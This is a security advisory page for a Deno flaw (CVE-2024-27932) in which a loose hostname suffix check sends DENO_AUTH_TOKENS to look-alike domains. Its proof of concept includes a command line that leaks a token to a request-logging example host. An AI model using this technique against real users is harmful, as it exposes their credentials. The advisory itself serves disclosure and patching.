logo

CVE-2024-27932 deno

Package

Manager: cargo
Name: deno
Vulnerable Version: >=1.8.0 <1.40.4

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS: 0.00609 pctl0.68802

Details

Deno's improper suffix match testing for DENO_AUTH_TOKENS ### Summary Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example.com` may be sent to `notexample.com`. ### Details [auth_tokens.rs uses a simple ends_with check](https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89), which matches `www.deno.land` to a `deno.land` token as intended, but also matches `im-in-ur-servers-attacking-ur-deno.land` to `deno.land` tokens. ### PoC - Set up a server that logs requests. RequestBin will do. For example, `denovulnpoc.example.com`. - Run `DENO_AUTH_TOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain`. For example, `DENO_AUTH_TOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com` - Observe that the token intended only for the truncated domain is sent to the full domain ### Impact _What kind of vulnerability is it? Who is impacted?_ Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.

Metadata

Created: 2024-03-06T17:03:36Z
Modified: 2024-03-21T18:25:42Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/03/GHSA-5frw-4rwq-xhcr/GHSA-5frw-4rwq-xhcr.json
CWE IDs: ["CWE-20"]
Alternative ID: GHSA-5frw-4rwq-xhcr
Finding: F184
Auto approve: 1